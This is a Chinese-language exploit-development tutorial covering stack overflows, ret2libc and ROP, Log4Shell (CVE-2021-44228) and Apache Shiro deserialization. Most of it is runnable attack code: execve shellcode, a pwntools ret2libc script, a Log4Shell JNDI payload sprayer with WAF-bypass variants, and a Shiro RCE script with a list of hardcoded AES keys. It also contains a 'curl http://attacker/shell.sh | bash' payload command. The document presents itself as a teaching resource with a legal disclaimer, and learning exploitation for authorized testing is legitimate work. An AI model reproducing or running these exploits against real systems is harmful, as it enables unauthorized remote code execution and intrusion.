漏洞利用开发基础:栈溢出 / ROP / Log4Shell / Shiro PoC
前言
Exploit 是渗透测试的"武器"。本文从 CTF 入门到真实 CVE 复现,覆盖完整学习路径和可运行的 PoC 代码。
一、栈溢出基础
1.1 内存布局
进程内存布局(从低地址到高地址):
┌─────────────────┐
│ 内核空间(不可访问)│
├─────────────────┤
│ 栈 (Stack) │ <- ESP 指向栈顶
│ ↓ 向下增长 │ 函数调用、局部变量、返回地址
├─────────────────┤
│ 内存映射文件 │ mmap、共享库、堆
├─────────────────┤
│ 堆 (Heap) │ malloc 分配的内存
│ ↑ 向上增长 │
├─────────────────┤
│ BSS / 数据段 │ 全局变量、未初始化数据
├─────────────────┤
│ 代码段 (.text) │ 机器指令、只读
├─────────────────┤
└─────────────────┘
1.2 栈帧结构
函数调用时栈的变化:
调用前:
┌─────────┐
│ 栈顶 │
│ 局部变量 │
└─────────┘
push ebp ; 保存旧 ebp
mov ebp, esp ; ebp = esp(新栈帧基址)
sub esp, 0x20 ; 分配局部变量空间
函数返回时:
mov esp, ebp ; 释放栈帧
pop ebp ; 恢复旧 ebp
ret ; 弹出返回地址并跳转
栈帧内存布局(ebp 视角):
┌─────────────────┐
│ [ebp+8] 参数1 │
│ [ebp+4] 返回地址 │
│ [ebp] 旧 ebp │
│ [ebp-4] 局部变量 │
│ [ebp-8] 局部变量 │
└─────────────────┘
1.3 缓冲区溢出原理 + PoC
// vuln.c - 有漏洞的程序
#include <stdio.h>
#include <string.h>
void vuln(char *input) {
char buf[64]; // 64 字节的缓冲区
strcpy(buf, input); // 没有长度检查!
printf("buf: %s
", buf);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}
#!/usr/bin/env python3
# exploit.py - 栈溢出 PoC(覆盖返回地址)
import struct, sys
def pad(shellcode, offset, length, filler=b"A"):
"""在 shellcode 前面填充 filler 到指定长度"""
padding = filler * (offset - len(shellcode))
return padding + shellcode
# Step 1: 找偏移量
# 用 cyclic pattern 发送,看返回地址被覆盖成什么
# pattern_create 100 -> Aa0Aa1Aa2...
# pattern_offset (实际返回地址 4 字节) -> 得到 offset
offset = 76 # 假设偏移量是 76
# Step 2: 构造 Payload
# 目标:覆盖返回地址到 shellcode 的位置
# 这里演示的是最简单的 ret-to-sc(栈上有 shellcode 时)
# 实际中大多用 ret-to-libc 或 ROP
# NOP sled(空指令滑行)
nop_sled = b"\x90" * 100
# Shellcode(Linux x86 execve /bin/sh)
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
# 把 shellcode 放到栈上(比如 return_address - 200)
# 然后用 return_address - 200 覆盖返回地址
buf_addr = 0xbffff544 # 假设的栈地址(实际要动态获取)
ret_addr = buf_addr - 200 # 指向 NOP sled 中间
payload = nop_sled + shellcode + b"A" * (offset - len(nop_sled) - len(shellcode))
payload += struct.pack("<I", ret_addr) # 小端序
print("[*] Sending payload...")
print(f" Payload size: {len(payload)} bytes")
print(f" Return address: 0x{ret_addr:08x}")
sys.stdout.buffer.write(payload)
1.4 ret2libc(不用知道栈地址)
#!/usr/bin/env python3
# ret2libc PoC
# 思路:覆盖返回地址到系统已有的函数(system / execve)
# 不需要 shellcode,不需要关闭 NX
from pwn import *
# 找到 libc 基址(通过格式化字符串漏洞泄漏,或者 ASLR 关闭)
libc_base = 0xb7e90000 # 假设泄漏出来的 libc 基址
system_offset = 0x045390 # system 在 libc 里的偏移(objdump -d libc.so | grep system)
binsh_offset = 0x17b8c5 # "/bin/sh" 字符串在 libc 里的偏移
# 计算真实地址
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
# ROP gadget: pop ebp; ret(跳过参数)
# 32 位 ret2libc 需要用 gadget 来平衡栈
# 简化版:直接 ret 到 system,参数放在后面
# 实际上 32 位调用约定是 cdecl,参数在栈上
# 所以:payload += [system_addr, fake_return_addr, binsh_addr]
payload = b"A" * offset # 填充到返回地址
payload += p32(system_addr)
payload += p32(0xdeadbeef) # fake return address(system 返回后跳这里,没用到)
payload += p32(binsh_addr) # 参数:"/bin/sh"
# 发送
io = process("./vuln")
io.sendline(payload)
io.interactive()
二、ROP 链(Return Oriented Programming)
2.1 ROP 原理
ROP 是一种高级利用技术:
- 不用 shellcode(NX 关闭后栈不可执行)
- 不用 ret2libc(可以在 64 位、ASLR 开启时用)
- 从程序已有的代码片段里"借"指令
- 每个片段以 ret 结尾(Gadget)
- 把多个 Gadget 串起来完成复杂操作
ROP 链示例:
假设我们想调用 write(1, buf, 100) 泄露 flag
Gadget 1: pop rdi; ret -> 设置 write 的第一个参数
Gadget 2: pop rsi; pop r15; ret -> 设置 write 的第二个参数
Gadget 3: pop rdx; pop r12; pop r13; ret -> 设置 write 的第三个参数
Gadget 4: call write@plt -> 调用 write
ROP Chain = [gadget1, buf_addr, gadget2, 1, garbage, gadget3, 100, g2, garbage, write@plt]
2.2 ROP 实战工具
# 工具 1: ROPgadget
ROPgadget --binary vuln --ropchain
# 自动生成完整的 ROP 链
# 工具 2: ropper
ropper -f vuln --search "pop rdi"
# 搜索特定 gadget
# 工具 3: pwntools(Python 框架)
# 自动构造 ROP
from pwn import *
binary = ELF("./vuln")
rop = ROP(binary)
rop.call("write", [1, binary.bss(), 100])
print(rop.dump())
# 工具 4: one_gadget
# 找 libc 里现成的 one_gadget
one_gadget libc.so.6
# 输出几个地址,每个都直接 execve("/bin/sh", 0, 0)
# 最偷懒的 ROP 利用方式
三、Log4Shell PoC(CVE-2021-44228)
3.1 漏洞原理
Log4j 2.x <= 2.14.1 存在 JNDI 注入漏洞
漏洞触发条件:
- Log4j 版本 <= 2.14.1
- 应用接受外部输入(HTTP header / 参数 / JSON / 日志内容)
- 该输入被 Log4j 记录
Payload 格式:
${jndi:ldap://attacker.com/a}
攻击流程:
1. 攻击者发送恶意请求
2. 应用用 Log4j 记录请求内容
3. Log4j 解析 ${jndi:...}
4. 向攻击者控制的 LDAP 服务器请求对象
5. 返回恶意 Java class
6. 受害者下载并执行 → RCE
3.2 检测 + 利用脚本
#!/usr/bin/env python3
# log4shell_poc.py - Log4Shell 检测 + 验证
import requests, sys, urllib.parse, random, string
def gen_tracking_id():
return "".join(random.choices(string.ascii_lowercase, k=8))
def build_payload(callback_url, tracking_id):
"""构造 JNDI payload"""
payloads = [
"${jndi:ldap://%s/%s}" % (callback_url, tracking_id),
"${jndi:ldaps://%s/%s}" % (callback_url, tracking_id),
"${jndi:dns://%s/%s}" % (callback_url, tracking_id),
# 各种变体绕过 WAF
"${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://%s/%s}" % (callback_url, tracking_id),
]
return payloads
def test_log4shell(url, callback_url):
"""测试单个 URL"""
tracking_id = gen_tracking_id()
payloads = build_payload(callback_url, tracking_id)
for payload in payloads:
# 注入到各种位置
headers_list = {
"X-Api-Version": payload,
"X-Forwarded-For": payload,
"X-Client-IP": payload,
"User-Agent": payload,
"Referer": payload,
"Accept": payload,
}
params = {"x": payload, "id": payload, "name": payload}
try:
# GET 请求
r = requests.get(url, params=params, headers=headers_list, timeout=5, verify=False)
print(f" [GET] Payload sent: {payload[:50]}...")
# POST JSON
r = requests.post(url, json={"input": payload}, timeout=5, verify=False)
print(f" [POST JSON] Payload sent")
except Exception as e:
print(f" [!] Error: {e}")
print(f" [*] 请检查你的 DNS / LDAP 服务器是否收到 {tracking_id} 的请求")
print(f" [*] 如果收到了 -> 存在 Log4Shell 漏洞!")
def main():
if len(sys.argv) < 3:
print("Usage: python3 log4shell_poc.py <target_url> <callback_domain>")
print(" callback_domain: 你的 DNSLog / LDAP 服务器域名")
print(" 推荐用 Burp Collaborator / interact.sh")
sys.exit(1)
url = sys.argv[1]
callback = sys.argv[2]
test_log4shell(url, callback)
if __name__ == "__main__":
main()
四、Shiro 反序列化 PoC
4.1 Shiro Cookie 机制
Apache Shiro 是 Java 安全框架。它用 rememberMe Cookie 实现"记住我"功能。
流程:
1. 用户登录成功 -> Shiro 把用户信息序列化 -> AES-CBC 加密 -> Base64 编码
2. 把加密后的 rememberMe Cookie 发给浏览器
3. 用户下次访问 -> 浏览器发送 rememberMe Cookie
4. Shiro 解密 -> 反序列化 -> 恢复会话
漏洞点:
- Shiro 的 AES Key 硬编码在源码里(或默认值)
- 攻击者可以生成自己的序列化对象,用相同 Key 加密
- Shiro 解密后反序列化 -> 触发恶意代码
### 关键指纹
访问目标时返回 Cookie: rememberMe=deleteMe
说明目标使用 Shiro,且当前 rememberMe Cookie 无效
### 默认 Key(Shiro 550)
默认 Key: kPH+bIxk5D2deZiIxcaaaA==
其他硬编码 Key: https://github.com/feihong-cs/ShiroExploit-Deprecated
4.2 Exploit 脚本
#!/usr/bin/env python3
# shiro_attack.py - Apache Shiro 反序列化 RCE
# CVE: CVE-2016-4437 / CVE-2016-4438
import requests, sys, base64, json, random, string
from Crypto.Cipher import AES
# 常见 Shiro Key(来源:ShiroExploit)
SHIRO_KEYS = [
"kPH+bIxk5D2deZiIxcaaaA==", # 默认 Key
"4AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"wGiHplamyXlVB11UXWol8g==",
"6ZmI6I2j5Y+R6CB66a6d6CI=",
"5aaC5qKm5oqA5pyv56S+5Yy6IO=",
"ZSO5beqh5Y+R6CB66a6d6CI=",
]
def pkcs7_pad(data, block_size=16):
padding_len = block_size - (len(data) % block_size)
padding = bytes([padding_len] * padding_len)
return data + padding
def aes_encrypt(key_b64, plaintext):
"""AES-CBC 加密,Shiro 使用固定 IV"""
key = base64.b64decode(key_b64)
iv = b"\x00" * 16 # Shiro 使用全零 IV
cipher = AES.new(key, AES.MODE_CBC, iv)
padded = pkcs7_pad(plaintext)
return base64.b64encode(cipher.encrypt(padded)).decode()
def check_shiro(url):
"""检测 Shiro + 发现 Key"""
headers = {"User-Agent": "Mozilla/5.0"}
resp = requests.get(url, headers=headers, verify=False, timeout=10)
cookies = resp.headers.get("Set-Cookie", "")
if "rememberMe=deleteMe" not in cookies:
print("[-] 目标不存在 Shiro")
return False, None
print("[+] 目标存在 Shiro (rememberMe=deleteMe)")
# 尝试每个 Key 能否正确解密
test_payload = base64.b64encode(b"test").decode()
for key in SHIRO_KEYS:
encrypted = aes_encrypt(key, b"test" * 20)
resp = requests.get(url, headers={"Cookie": f"rememberMe={encrypted}"}, verify=False)
if "rememberMe=deleteMe" not in resp.headers.get("Set-Cookie", ""):
print(f"[+] 发现有效 Key: {key}")
return True, key
print("[-] 没找到有效 Key(可能自定义 Key 或已升级)")
return True, None
def generate_ysoserial_payload(command):
"""生成 ysoserial CommonsCollections5 payload"""
# 实际中用 ysoserial 工具:
# java -jar ysoserial.jar CommonsCollections5 "curl http://attacker/shell.sh | bash" > payload.bin
# 这里只演示伪代码
print("[*] 请用 ysoserial 生成真实 payload:")
print(f" java -jar ysoserial.jar CommonsCollections5 "{command}" > payload.bin")
print(f" 或用 CommonsBeanutils1(不需要依赖)")
return b""
def exploit(url, key, command):
"""执行反序列化攻击"""
# 1. 生成 ysoserial payload
payload = generate_ysoserial_payload(command)
if not payload:
print("[-] 请先生成 payload 再运行")
return
# 2. AES 加密
cookie_value = aes_encrypt(key, payload)
# 3. 发送
headers = {"Cookie": f"rememberMe={cookie_value}"}
print(f"[*] 发送 payload (Cookie 长度: {len(cookie_value)})")
resp = requests.get(url, headers=headers, verify=False, timeout=10)
print(f"[*] 响应状态: {resp.status_code}")
print(f"[+] 如果命令是 curl / wget,检查你的服务器是否收到请求")
def main():
if len(sys.argv) < 2:
print("Usage: python3 shiro_attack.py <url> [command]")
print("Example: python3 shiro_attack.py http://target.com 'id'")
sys.exit(1)
url = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
# Step 1: 检测 Shiro
has_shiro, key = check_shiro(url)
if not has_shiro:
return
if key:
# Step 2: 发送 payload
exploit(url, key, command)
if __name__ == "__main__":
main()
五、推荐学习路线
CTF 入门阶段:
- 玩 Pwn / Web 方向题目
- 学习栈溢出(ret2win / ret2csu / ret2libc)
- 格式化字符串漏洞
- 整数溢出
- 推荐:BUUCTF、CTFHub、PicoCTF
中级(真实漏洞复现):
- Log4Shell / Spring4Shell / ProxyShell
- Shiro / Fastjson / Jackson 反序列化
- 写 CVE PoC 并复现
- 推荐:Vulhub 靶场、Exploit-DB
高级(0day 研究):
- 源码审计(Spring / Tomcat / Log4j)
- Fuzzing(libFuzzer / AFL)
- 向 CVE / CNVD 提交漏洞
- 推荐:CVE Details、GitHub Security Lab
必备工具:
- pwntools (Python 框架)
- ROPgadget / ropper
- one_gadget
- gdb + pwndbg
- Ghidra / IDA Pro
- ysoserial
- JNDI-Injection-Exploit(Log4Shell 利用)
推荐资源:
- pwn.college(HackTheBox 的 Pwn 课程)
- 《二进制漏洞利用艺术》
- 《Web Hacking 101》
- LiveOverflow / Mr-x 博客
- FreeBuf / 先知社区 Exploit 板块
- PortSwigger Academy(Web 方向)
- Hack The Box / TryHackMe
六、法律警告
⚠️ Exploit 代码仅限授权测试使用
⚠️ 未经授权攻击他人系统违法
⚠️ 真实 CVE 复现请在隔离环境中进行
⚠️ 不得将 Exploit 用于非法目的
⚠️ 本文所有代码仅用于安全学习与防御研究